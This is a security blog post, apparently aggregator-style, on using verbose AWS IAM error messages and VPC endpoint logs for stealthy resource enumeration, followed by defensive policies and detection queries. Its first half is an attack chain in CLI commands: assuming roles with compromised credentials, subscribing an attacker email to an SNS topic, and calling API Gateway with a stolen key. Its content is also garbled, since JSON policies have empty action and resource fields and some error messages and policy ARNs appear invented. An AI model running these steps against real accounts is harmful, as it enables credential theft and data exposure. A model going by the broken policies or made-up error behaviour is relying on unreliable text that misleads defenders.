Listen to this Post
Introduction
In a significant shift to AWS’s security posture, the cloud provider recently enhanced IAM error messages to provide unprecedented detail about access attempts. While ostensibly designed to help administrators troubleshoot permissions, these verbose errors now create an unexpected attack surface where threat actors can perform “exposure testing” without ever triggering resource-level logs. By assuming a role with a deny-all session policy and analyzing the granular error responses, attackers can map your exposed resources and identify exactly which actions would have succeeded—all while remaining undetected in resource-owner audit trails .
Learning Objectives
- Understand how verbose AWS IAM error messages can be weaponized for stealthy resource discovery
- Master the technique of using deny-all session policies to safely enumerate actionable permissions
- Implement defensive strategies to mitigate information disclosure through error messaging
- Configure VPC endpoints and logging to detect and prevent silent enumeration attempts
You Should Know
1. The Anatomy of AWS Error Message Exploitation
The core technique leverages AWS’s recent IAM error message enhancements, which now provide sufficiently detailed feedback to distinguish between “action not permitted due to session policy” versus “action not permitted due to resource policy.” When an attacker assumes a role with a deny-all session policy and attempts operations against services like SNS, SQS, Lambda, Secrets Manager, EventBridge, or ECR, the error messages effectively confirm resource existence and policy configurations .
Step‑by‑Step Attack Methodology:
1. Create a Deny-All Session Policy
First, the attacker crafts a session policy that explicitly denies all actions. This can be done programmatically or through tools like Pacu, the AWS exploitation framework.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "",
"Resource": ""
}
]
}
2. Assume a Role with the Session Policy
Using compromised credentials, the attacker assumes a role while attaching this deny-all policy:
Linux/CLI approach aws sts assume-role \ --role-arn "arn:aws:iam::123456789012:role/target-role" \ --role-session-name "EnumerationSession" \ --policy-arns "arn:aws:iam::aws:policy/DenyAllPolicy" \ --profile attacker-creds
3. Test Sensitive Operations
With the session active, attempt operations like DeleteTopic, GetSecretValue, or ListBuckets. The error message will reveal if the resource policy would have allowed the action:
Attempt to list S3 buckets aws s3api list-buckets --profile enumeration-session Expected error revealing exposure: "An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::123456789012:assumed-role/target-role/EnumerationSession is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action. However, the resource policy for bucket 'exposed-data-bucket' would have allowed this action."
This technique works because the deny-all session policy blocks execution at the identity level, but AWS still evaluates resource policies and reports the conflict in verbose errors . The attacker never actually touches the resource, leaving no trace in the target’s CloudTrail resource-level logs.
- Weaponizing Error Messages for SNS and Secrets Manager Enumeration
The real-world implications become clearer when examining how this technique combines with SNS topic enumeration to extract sensitive data, as demonstrated in CloudGoat scenarios .
Complete Exploitation Chain:
1. Initial IAM User Enumeration
First, verify the compromised identity’s permissions:
Check current identity aws sts get-caller-identity --profile compromised List attached policies aws iam list-attached-user-policies \ --user-name compromised-user \ --profile compromised
2. SNS Topic Discovery
Using the deny-all session technique, enumerate SNS topics safely:
Assume role with deny-all session policy SESSION=$(aws sts assume-role \ --role-arn "arn:aws:iam::123456789012:role/compromised-role" \ --role-session-name "sns-enum" \ --policy-arns "arn:aws:iam::aws:policy/DenyAllCustom" \ --output json) export AWS_ACCESS_KEY_ID=$(echo $SESSION | jq -r .Credentials.AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo $SESSION | jq -r .Credentials.SecretAccessKey) export AWS_SESSION_TOKEN=$(echo $SESSION | jq -r .Credentials.SessionToken) Attempt to list topics - error reveals exposed topics aws sns list-topics --region us-east-1
The error response will indicate which topics would have been accessible, even though the action was blocked.
3. Subscribe to Exposed Topics
Once a vulnerable topic is identified, subscribe an attacker-controlled endpoint:
Subscribe to the exposed topic aws sns subscribe \ --topic-arn "arn:aws:sns:us-east-1:123456789012:public-topic" \ --protocol email \ --notification-endpoint "[email protected]" \ --profile compromised
4. Extract API Gateway Keys
If the SNS topic delivers messages containing API Gateway keys (as in the CloudGoat scenario), intercept them:
After confirmation email received, extract API key from SNS message Then enumerate API Gateway endpoints aws apigateway get-rest-apis --region us-east-1 --profile compromised Construct and invoke the endpoint with the stolen key curl -X GET "https://[api-id].execute-api.us-east-1.amazonaws.com/[bash]/[bash]" \ -H "x-api-key: [extracted-api-key]"
This demonstrates how verbose errors enable attackers to chain seemingly innocuous information disclosures into full credential extraction .
- VPC Endpoint Exploitation for Stealthy Account ID Discovery
Beyond IAM error messages, researchers have discovered that VPC endpoints can be weaponized to expose AWS account IDs of private S3 buckets without generating logs in the target account .
Stealth Enumeration Technique:
1. Configure a Malicious VPC Endpoint
Deploy a VPC endpoint for S3 with a policy that denies all requests:
{
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "",
"Resource": ""
}
]
}
2. Enable Network Activity Logging
Create a CloudTrail trail capturing Network Activity events:
Create trail for network activity aws cloudtrail create-trail \ --name attacker-network-trail \ --s3-bucket-name attacker-log-bucket \ --include-global-service-events \ --is-multi-region-trail Enable network activity logging aws cloudtrail update-trail \ --name attacker-network-trail \ --enable-network-activity-events
3. Probe Target S3 Bucket
From within the VPC, attempt to access a known bucket name:
Attempt to list bucket contents (will be denied) aws s3 ls s3://target-company-data-bucket
4. Extract Account ID from Network Logs
The resulting Network Activity event in the attacker’s trail contains the bucket’s account ID:
{
"eventVersion": "1.09",
"eventName": "ListObjects",
"errorCode": "VpceAccessDenied",
"resources": [
{
"accountId": "123456789012",
"ARN": "arn:aws:s3:::target-company-data-bucket"
}
]
}
AWS has partially mitigated this by redacting account IDs in newer events, but the technique demonstrates how feature interactions can create unexpected information disclosure channels .
4. Defensive IAM Policy Configuration
To protect against these enumeration techniques, implement strict IAM policies that minimize information disclosure and follow AWS’s recommended practices .
Defensive Policy Examples:
1. Prevent Session Policy Abuse
Restrict the ability to pass session policies:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "sts:AssumeRole",
"Resource": "",
"Condition": {
"Null": {
"sts:PolicyArns": "false"
}
}
}
]
}
2. Use Condition Keys Instead of NotPrincipal
AWS explicitly recommends avoiding `NotPrincipal` in resource policies . Use condition keys instead:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "s3:",
"Resource": [
"arn:aws:s3:::Bucket_Account_Audit",
"arn:aws:s3:::Bucket_Account_Audit/"
],
"Condition": {
"ArnNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::444455556666:role/authorized-role"
}
}
}
]
}
3. Implement Permission Boundaries
Use permission boundaries to limit effective permissions even if verbose errors suggest otherwise:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Resource": ""
}
]
}
4. SCP for Organization-Wide Protection
Deploy Service Control Policies (SCPs) to enforce organization-wide restrictions:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": [
"sns:Subscribe",
"sns:ConfirmSubscription"
],
"Resource": "",
"Condition": {
"StringNotEquals": {
"aws:PrincipalOrgID": "o-exampleorgid"
}
}
}
]
}
5. Logging and Detection Strategies
Effective detection requires understanding both CloudTrail events and their potential blind spots .
Detection Commands and Analysis:
1. Monitor for Unusual AssumeRole Events
Query CloudTrail for assume-role with session policies aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \ --query 'Events[?contains(CloudTrailEvent, <code>"sessionPolicy"</code>)]' \ --output json
2. Detect IAM User Enumeration Attempts
The CVE-2025-0693 vulnerability in AWS Console login can be detected through specific CloudTrail patterns :
Invalid usernames generate "No username found" errors aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \ --query 'Events[?contains(CloudTrailEvent, <code>"No username found"</code>)]' Valid usernames with failed auth show "Failed Authentication" aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \ --query 'Events[?contains(CloudTrailEvent, <code>"Failed Authentication"</code>)]'
3. Watch for Non-Production Endpoint Usage
Attackers may use non-production endpoints to bypass CloudTrail logging :
Monitor for EventBridge calls to non-production endpoints aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventSource,AttributeValue=events.amazonaws.com \ --query 'Events[?!contains(CloudTrailEvent, <code>"eventbridge"</code>)]'
4. Implement Real-Time Alerting
Create CloudWatch metric filter for suspicious patterns
aws logs put-metric-filter \
--log-group-name "CloudTrail/AllLogs" \
--filter-name "AssumeRoleWithSessionPolicy" \
--filter-pattern "{ ($.eventName = AssumeRole) && ($.requestParameters.policyArns != null) }" \
--metric-transformations metricName=AssumeRoleWithSessionPolicy,metricNamespace=IAMSecurity,metricValue=1
6. Hardening Cloud Resources Against Silent Enumeration
Proactive hardening reduces the attack surface exposed through error messages .
Resource-Specific Hardening:
1. S3 Bucket Protection
Block public access at account level
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
Enable S3 bucket logging for all access attempts
aws s3api put-bucket-logging \
--bucket target-bucket \
--bucket-logging-status '{"LoggingEnabled":{"TargetBucket":"logging-bucket","TargetPrefix":"s3-access-logs/"}}'
2. Secrets Manager Protection
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "secretsmanager:GetSecretValue",
"Resource": "",
"Condition": {
"Bool": {
"aws:ViaAWSService": "false"
}
}
}
]
}
3. API Gateway Key Protection
Rotate API keys regularly aws apigateway update-api-key \ --api-key key-id \ --patch-operations op=replace,path=/enabled,value=false Enable CloudWatch logging for API Gateway aws apigateway update-stage \ --rest-api-id api-id \ --stage-name prod \ --patch-operations op=replace,path=/accessLogSettings/destinationArn,value=arn:aws:logs:region:account:log-group:API-Gateway-Access-Logs
What Undercode Say
- Verbose Errors Are Reconnaissance Goldmines: AWS’s enhanced error messages, while useful for debugging, effectively provide attackers with a “safe mode” to map your infrastructure without triggering resource-level alarms. This represents a fundamental shift in cloud attack surface management.
-
The Deny-All Session Policy Technique Nullifies Traditional Defenses: By using session policies to block execution while still receiving granular error feedback, attackers can test sensitive operations across SNS, SQS, Lambda, Secrets Manager, and more without ever leaving traces in the resource owner’s logs. This technique effectively weaponizes AWS’s own policy evaluation engine.
-
Information Disclosure Cascades Are the New Normal: The chain from error message → SNS topic discovery → API key extraction → API Gateway compromise demonstrates how seemingly low-severity information leaks can combine into critical breaches. Cloud security must now account for these multi-stage attack paths.
-
AWS’s Shared Responsibility Model Now Includes Error Message Stewardship: With features like verbose IAM errors and VPC endpoint network activity logs, AWS has introduced new information channels that customers cannot fully control. Organizations must adapt their threat models to account for metadata exposure through platform-level features.
-
Detection Requires Understanding Logging Asymmetries: Attackers exploit differences between what logs at the identity level versus resource level, and between production versus non-production endpoints. Effective detection requires comprehensive log aggregation across all AWS services and accounts.
-
Defense Must Focus on Reducing Information Granularity: While verbose errors can’t be disabled, organizations can minimize their impact through strict permission boundaries, resource policies that deny all non-authorized principals, and careful monitoring of assume-role operations with session policies.
Prediction
Within the next 12-18 months, we will likely see AWS implement more aggressive redaction of error message details following community pressure and proof-of-concept exploits. However, cat-and-mouse games will continue as attackers shift focus to VPC endpoint network activity logs, non-production API endpoints, and timing-based enumeration techniques (as demonstrated by CVE-2025-0693). Cloud security will increasingly shift toward “assume enumeration” models where defenders accept that resource existence can be discovered and focus on preventing actual data access through zero-trust architectures and continuous authorization validation. The rise of AI-powered cloud security posture management tools will become essential to detect the subtle patterns of silent enumeration that human analysts typically miss.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
